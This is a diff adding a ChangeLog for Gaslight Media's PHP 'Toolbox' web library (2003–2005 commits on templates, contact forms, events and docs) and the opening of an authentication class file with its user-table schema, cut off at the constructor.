+2005-11-18 16:49  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: update commits
+
+2005-11-16 09:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update
+
+2005-11-10 12:31  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: updates
+
+2005-11-10 10:24  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update use \>= current_date in home event
+         function
+
+2005-11-10 10:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * glm-Events-calendar-2-0.phtml: update one too many tr
+
+2005-11-09 16:49  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-11-08 14:00  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-11-03 12:58  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-11-03 12:56  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update the contact form
+
+2005-10-24 11:48  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update some comment structure
+
+2005-10-21 09:57  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: update docs
+
+2005-10-13 10:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: updates to add interest(dynamic)
+
+2005-10-06 10:30  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: update
+
+2005-10-06 10:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: add removal of ()'" for sql injection posibilty
+         when logging in
+
+2005-10-05 16:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, class_photos.inc, class_toolbox.inc,
+         glm-Events-2-0.phtml, glm-Events-calendar-2-0.phtml,
+         glm-Newsletter-2-0.phtml: updates to docs
+
+2005-10-05 08:24  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update spell zip in a upper case
+
+2005-09-30 16:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-09-30 15:23  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for image title
+
+2005-09-29 11:07  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: update adding cols as class variable and add
+         div clearer
+
+2005-09-29 10:00  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: more update with topics for the event output in
+         calendars
+
+2005-09-29 09:53  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: update for topicname stuff
+
+2005-09-22 16:35  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: adding images under large one
+
+2005-09-20 15:20  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update email part for no double :
+
+2005-09-20 15:20  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update active part
+
+2005-09-20 14:32  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update with ban_words thingy
+
+2005-09-20 08:56  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update docs
+
+2005-09-19 16:39  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_events.inc, class_photos.inc,
+         class_search.inc, class_template.inc: update to comments for docs
+
+2005-09-16 11:07  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: no double $ in docs comments
+
+2005-09-16 11:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update todo list
+
+2005-09-14 16:06  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update the contact form
+
+2005-09-12 09:42  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update
+
+2005-09-08 15:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: update
+
+2005-09-08 15:11  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: update changelog
+
+2005-09-08 15:07  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: update Changelog
+
+2005-09-08 13:25  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update-
+
+2005-09-07 14:28  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update don't send if not valid email
+
+2005-09-06 09:49  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update
+
+2005-09-06 09:32  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: add check for valid email
+
+2005-09-01 10:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: update remove popup image thing and madified
+         the way it searches for a single day.
+
+2005-08-25 16:38  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc, class_calendar.inc, class_contact_form.inc,
+         class_db.inc, class_events.inc, class_importer.inc,
+         class_photos.inc, class_search.inc, class_tellfriend.inc,
+         class_toolbox.inc, glm-Events-calendar-2-0.phtml: updatitng
+         comment php docs
+
+2005-08-25 16:34  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: iupdate comment
+
+2005-08-25 16:33  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for active is true bottom nav
+
+2005-08-23 14:11  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, glm-Events-calendar-2-0.phtml: update for no
+         topic
+
+2005-08-23 08:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update for array of interest in email
+
+2005-08-18 15:49  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: added current date check for home page event
+         function
+
+2005-08-18 13:58  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: update
+
+2005-08-18 12:55  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_events.inc, class_photos.inc,
+         class_search.inc, class_template.inc: updates
+
+2005-08-17 16:22  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: update changelog
+
+2005-08-17 11:50  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc, glm-Events-calendar-2-0.phtml: update
+
+2005-08-16 08:44  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: update for photo gallery
+
+2005-08-11 13:51  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: oops forgot to commit
+
+2005-08-10 14:51  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding img for file types
+
+2005-08-10 08:54  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: if nothing but category name then don't
+         output div id category
+
+2005-08-09 15:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: updates to events calendar
+
+2005-08-01 10:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: document updating
+
+2005-08-01 09:29  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-08-01 08:25  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: take out base_url from keyword replace
+         function not needed as get_seo_url already does this.
+
+2005-07-28 16:12  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates for phpdocumentor
+
+2005-07-28 15:59  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog, class_photos.inc: updates for phpdocumentor
+
+2005-07-28 15:50  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc, class_template.inc: updates for phpdocumentor
+
+2005-07-28 15:39  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: updates for phpdocumentor
+
+2005-07-28 15:29  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc, class_toolbox.inc: updates for phpdocumentor
+
+2005-07-26 16:12  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: update error
+
+2005-07-25 14:40  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding HOME_ID define
+
+2005-06-30 15:17  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc, class_toolbox.inc: update on toolbox
+
+2005-06-28 11:11  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update set_img
+
+2005-06-24 15:15  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: update for image names
+
+2005-06-20 14:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: some additional comments on title and meta
+         tags please read
+
+2005-06-17 15:23  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: corrections on image caption
+
+2005-06-13 15:39  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: chaneg to 250 chars for meta description text
+
+2005-06-13 15:36  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: chaneg to 150 chars for meta description text
+
+2005-06-13 15:10  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update fixes
+
+2005-06-10 16:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, glm-Events-2-0.phtml: update on event
+
+2005-06-10 14:13  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: events update
+
+2005-06-10 13:00  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: no show topics for calendar
+
+2005-06-10 12:46  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc: no show topics for calendar
+
+2005-06-09 14:33  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog, class_template.inc: update to no have nl2br
+
+2005-06-07 10:34  Ove <ove@gaslightmedia.com>
+
+       * class_contact_form.inc: Finally fixing who email is from
+
+2005-06-03 10:38  Steve Sutton <steve@gaslightmedia.com>
+
+       * ChangeLog: adding Change log
+
+2005-06-03 08:01  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: updates
+
+2005-05-31 10:54  Ove <ove@gaslightmedia.com>
+
+       * class_contact_form.inc: [no log message]
+
+2005-05-27 16:12  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc, class_toolbox.inc: more updates on docs
+
+2005-05-27 16:00  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: updates
+
+2005-05-27 15:53  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_calendar.inc, class_contact_form.inc, class_importer.inc,
+         class_toolbox.inc: updates
+
+2005-05-27 15:45  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc, class_template.inc, class_toolbox.inc: updates
+
+2005-05-27 15:27  Ove <ove@gaslightmedia.com>
+
+       * class_contact_form.inc: lowercase tags and added to thankyou msg
+
+2005-05-27 15:17  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_calendar.inc, class_events.inc, class_importer.inc,
+         class_template.inc, class_toolbox.inc: updating for docs
+
+2005-05-27 13:58  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update the contact form to use one field
+         per row
+
+2005-05-27 13:58  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for get_catid and the working part of
+         adding title tags to the ul menu's
+
+2005-05-27 09:57  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: updates on comments
+
+2005-05-26 16:31  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: working on url titles not tested yet
+
+2005-05-24 09:57  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: spelling changes
+
+2005-05-23 08:38  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_calendar.inc, class_importer.inc: new classes need more
+         docmunting though
+
+2005-05-21 22:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: updates on mostly the comments for phpDocumentor
+
+2005-05-21 21:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc, class_contact_form.inc, class_db.inc,
+         class_tellfriend.inc, class_template.inc: updates on mostly the
+         comments for phpDocumentor
+
+2005-05-20 16:35  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc, class_db.inc, class_template.inc: marking file
+
+2005-05-20 16:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: marking file
+
+2005-04-27 14:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: might be nice to set active query on
+         constuctor of class
+
+2005-04-20 14:25  Steve Sutton <steve@gaslightmedia.com>
+
+       * glm-Events-calendar-2-0.phtml: updates to events
+
+2005-04-07 15:52  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: define for home page events
+
+2005-04-07 08:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updated comment and change meta_tag to get
+         100 characters for the meta description
+
+2005-04-01 15:57  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: address
+
+2005-03-31 11:50  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: corrections on headers
+
+2005-03-30 14:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: remove \n from make_ul_menu code
+
+2005-03-30 08:11  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for page home
+
+2005-03-22 15:40  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: correct for imagenames
+
+2005-03-18 16:36  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: correcting ul menu function
+
+2005-03-18 16:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates
+
+2005-03-18 15:47  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, class_toolbox.inc: update
+
+2005-03-17 15:44  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: change name of get_parentid to reflect what
+         it really does
+
+2005-03-17 15:41  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: get parent
+
+2005-03-15 15:58  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2005-03-15 13:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, class_template.inc,
+         glm-Events-calendar-2-0.phtml: update for default
+
+2005-03-15 12:32  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding case for ws1 to goto root not
+         index.phtml
+
+2005-03-14 10:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_events.inc, glm-Events-calendar-2-0.phtml: events
+
+2005-03-09 14:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: cannot use size again
+
+2005-03-09 13:54  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: image updates to set_img added new function
+         to get image path from ->img_size
+
+2005-02-28 10:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for error
+
+2005-02-27 15:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: modified for SEO_URL define and simplify the
+         generation of url's
+
+2005-02-18 11:47  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: modify to valid code
+
+2005-02-18 11:39  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: updates to conact form
+
+2005-02-18 10:29  raleigh
+
+       * class_template.inc: fixes to the print_ancestors method
+
+2005-02-18 10:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update breadcrumbs
+
+2005-02-10 10:31  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update
+
+2005-02-09 14:44  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: get_parentid comment update
+
+2005-02-09 10:48  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update for hide type
+
+2005-02-09 10:22  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: replace  with
+
+2005-02-09 10:12  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: modify the action to use ['REQUEST_URL']
+
+2005-02-08 16:23  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: documenth the code
+
+2005-02-08 15:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: updates to contact form output error
+         messages
+
+2005-02-08 14:55  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: updates to contact form
+
+2005-02-03 15:45  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates for the template deluxe thing
+
+2005-02-02 16:28  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: template for the category stuff too
+
+2005-02-02 14:54  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: correction to imag alignment stuff
+
+2005-01-21 12:41  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_template.inc: contact form updates
+
+2005-01-20 14:36  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: updates to the auth class for some workouts
+
+2005-01-20 14:31  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc, class_template.inc: changes to photo class and
+         removing photo stuff from template class
+
+2005-01-20 14:21  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_tellfriend.inc: update changes to the tellfriend script
+
+2005-01-18 13:44  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update to correct some irrationals
+
+2005-01-18 13:15  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc, class_template.inc: adding define for deluxe
+         toolbox
+
+2005-01-14 13:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_photos.inc: seperate the photo stuff into new class
+
+2005-01-06 09:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: updating code STANDARDS and removing unused stuff
+         anything else can be added to a new extended class
+
+2005-01-05 16:33  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates on get_catid
+
+2005-01-05 16:30  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_tellfriend.inc: adding new class of tell a friend script
+
+2004-12-30 13:10  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: toolbox to this
+
+2004-12-29 15:47  raleigh
+
+       * class_template.inc: methods added, bugs fixed
+
+2004-12-21 13:13  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding a define for the active flag seems
+         that not all toolboxes use this so if set to true then it will
+         check for active = 't'
+
+2004-12-16 13:08  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: using id on the end of seo_url's
+
+2004-12-07 15:42  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2004-12-07 10:16  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: including more methods fgor getting catid
+
+2004-12-02 13:50  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding get_seo_url
+
+2004-11-30 15:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update image processing
+
+2004-11-30 12:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update no br clear all
+
+2004-11-19 13:46  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:48  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:40  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:25  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:21  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-19 09:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates that are much needed
+
+2004-11-16 10:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update adding # to not good in url
+
+2004-11-10 13:56  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: some corrections on spelling errors
+
+2004-11-10 13:42  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: some updates on the coding standard and putting the
+         category and listing seprate also in category id and listing
+         class
+
+2004-11-10 13:38  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc, class_template.inc: some updates on the coding
+         standard and putting the category and listing seprate also in
+         category id and listing class
+
+2004-10-05 14:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: changes to the url's for search engines
+
+2004-09-30 09:55  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates to get_category
+
+2004-09-30 09:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2004-09-30 08:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: document functions and rename to one style of
+         naming
+
+2004-09-17 12:08  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: add active check
+
+2004-08-02 13:11  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: Some edit on formating code and image upload
+
+2004-07-12 10:53  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: add title tags to images using name of item
+         or category of page
+
+2004-07-07 11:47  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: hello there people :)
+
+2004-07-07 11:26  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: hello there people :)
+
+2004-07-06 14:42  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: work updates
+
+2004-07-06 14:17  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update for doc and parser functions
+
+2004-07-02 16:18  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: set_img function additions
+
+2004-07-02 16:01  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: use file as string
+
+2004-07-01 12:17  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2004-06-30 09:53  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: rebmove p and replace href
+
+2004-06-29 16:38  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2004-06-25 15:28  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update top and top2
+
+2004-06-14 12:50  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update remove michaywe stuff
+
+2004-04-29 10:16  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update
+
+2004-04-27 16:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * glm-Events-2-0.phtml, glm-Events-calendar-2-0.phtml,
+         glm-Newsletter-2-0.phtml: adding glm outputp files
+
+2004-03-03 10:52  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: update db_exec part
+
+2003-11-26 16:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: cool mods to image layout with no tables
+
+2003-10-09 08:02  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update to GLOBALS
+
+2003-08-27 12:48  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc, class_contact_form.inc, class_db.inc,
+         class_template.inc, class_toolbox.inc: update on indenting
+
+2003-08-08 15:13  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_db.inc, class_search.inc,
+         class_template.inc: update to use phpdocs
+
+2003-08-08 15:08  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: change to phpdoc
+
+2003-08-08 15:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: adding Id string
+
+2003-08-08 15:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_auth.inc: auth class added
+
+2003-07-30 10:22  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_db.inc: GLM update
+
+2003-07-30 07:59  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: adding new set_address function
+
+2003-07-28 16:24  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: add fax
+
+2003-07-28 16:23  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: address update
+
+2003-07-09 13:43  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: use GLM_SERVER_ID
+
+2003-07-03 14:05  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update the from <name>
+
+2003-07-03 08:27  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: upgrades
+
+2003-07-02 10:20  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: using URL_BASE for nav links because of
+         secure elements
+
+2003-07-01 08:12  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: better way to break with images and text
+
+2003-06-26 10:20  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: making req fields work and setting
+         default mail_ok to Yes and req email
+
+2003-06-25 12:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: corrections on class template file
+
+2003-06-16 08:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: changing the set date function on the fields
+         that were strstr I changed all but file and image to be exact
+         matches of the string so there wouldn't be any messups with
+         contact and contactname or name and urlname.
+
+2003-06-11 14:15  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates
+
+2003-04-29 08:37  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_search.inc: search update on queries
+
+2003-04-24 10:30  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: add space between File and Download
+
+2003-03-18 12:06  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_search.inc, class_db.inc: Adding Id
+
+2003-03-18 12:06  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_toolbox.inc: Adding ID
+
+2003-03-18 12:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: adding Id
+
+2003-03-18 12:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: test
+
+2003-03-18 12:00  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: Adding Id and testing gvim cvs
+
+2003-03-18 08:48  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_search.inc, class_template.inc:
+         udpates (reindented and removed dos ending)
+
+2003-03-13 14:25  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: removed unneeded br's
+
+2003-03-10 08:08  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: correction on the use of DB class
+
+2003-02-28 16:08  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: remove the imagename
+
+2003-02-20 15:46  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: modes to template class removed d_close and
+         connect calls as these are taken care of already and bold the
+         title
+
+2003-02-20 11:04  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_toolbox.inc: adding contact_form
+         class
+
+2003-02-19 11:07  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: updates
+
+2003-02-03 16:28  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_search.inc, class_template.inc: changes
+
+2003-01-14 13:16  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update the script to put in the html help
+         page
+
+2003-01-14 13:03  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc: updating the class_db with the ability to keep open
+         the database connection for all db_auto functions
+
+2003-01-10 09:20  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update of breakage on the description parts
+         for the items
+
+2003-01-02 10:09  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_db.inc, class_search.inc, class_template.inc: adding
+         classes to setup
+
diff --git a/classes/class_auth.inc b/classes/class_auth.inc
new file mode 100755 (executable)
index 0000000..2ad530d
--- /dev/null
@@ -0,0 +1,404 @@
+<?php
+/** 
+ * Toolbox Classes :)
+ * 
+ * <p>
+ * $Id: class_auth.inc,v 1.1.1.1 2006/04/25 18:14:59 cscott Exp $
+ * Authentication class. Enables different levels
+ * of authentication for users with one master(admin) user 
+ * able to set up accounts for others and permissions based on different 
+ * levels.  Can be modified to use more levels.  This is set up with four levels.
+ * </p>
+ * @package Toolbox Library
+ * @subpackage Authentication Library
+ * @filesource
+ * 
+*/
+/**
+* Require DocBlock
+*/
+require_once( BASE.'classes/class_db.inc' );
+/** 
+ *     authuser
+ * <p>
+ * $Id: class_auth.inc,v 1.1.1.1 2006/04/25 18:14:59 cscott Exp $
+*   Authentication class. Enables different levels
+ *   of authentication for users with one master(admin) user 
+ *   able to set up accounts for others and permissions based on different 
+ *   levels.  Can be modified to use more levels.  This is set up with four levels.
+ * </p><p>
+ *   Permissions are checked using bitwise operators so you can have custom permission 
+ *   levels per user.  Thus an admin user with perms set to 15 would have all levels.</p>
+ *   <code>CREATE TABLE authuser (
+ *   id SERIAL,
+ *   username text,
+ *   password text,
+ *   perms int
+ *   );
+ *   GRANT ALL ON authuser TO nobody;
+ *   GRANT ALL ON authuser_id_seq TO nobody;
+ *  </code>
+ *
+ *     @package Toolbox Library
+ *  @subpackage Authentication Library
+ *     @author $Author: cscott $
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2006/04/25 18:14:59 $
+ *
+ */
+
+class authuser {
+       /** @var auth session variable which holds user and permission data */
+       var $auth;
+       /** @var page - The present page your on */
+       var $page;
+       /** @var conn  - db connection result identifier */
+       var $conn;
+       /** @var usertable - db table which holds the user data */
+       var $usertable;
+       /** @var constraint - User constrain for queries */
+       var $constraint;
+       /** @var cookie_name The name of the cookie var */
+       var $cookie_name;
+       /** @var cookie_exp The expire time (Seconds) for the cookie */
+       var $cookie_exp;
+       /** @var cookie_domain The domain of the cookie */
+       var $cookie_domain;
+       /** @var object DB database object */
+       var $DB;
+       /** @var rember bool if to create coockies for storing sessions */
+       var $remember;
+       /** @var $auth_data array to keep user info */
+       var $auth_data;
+
+       /**     authuser 
+         Class construtor.  Set up the default variables for 
+         the class.
+        */
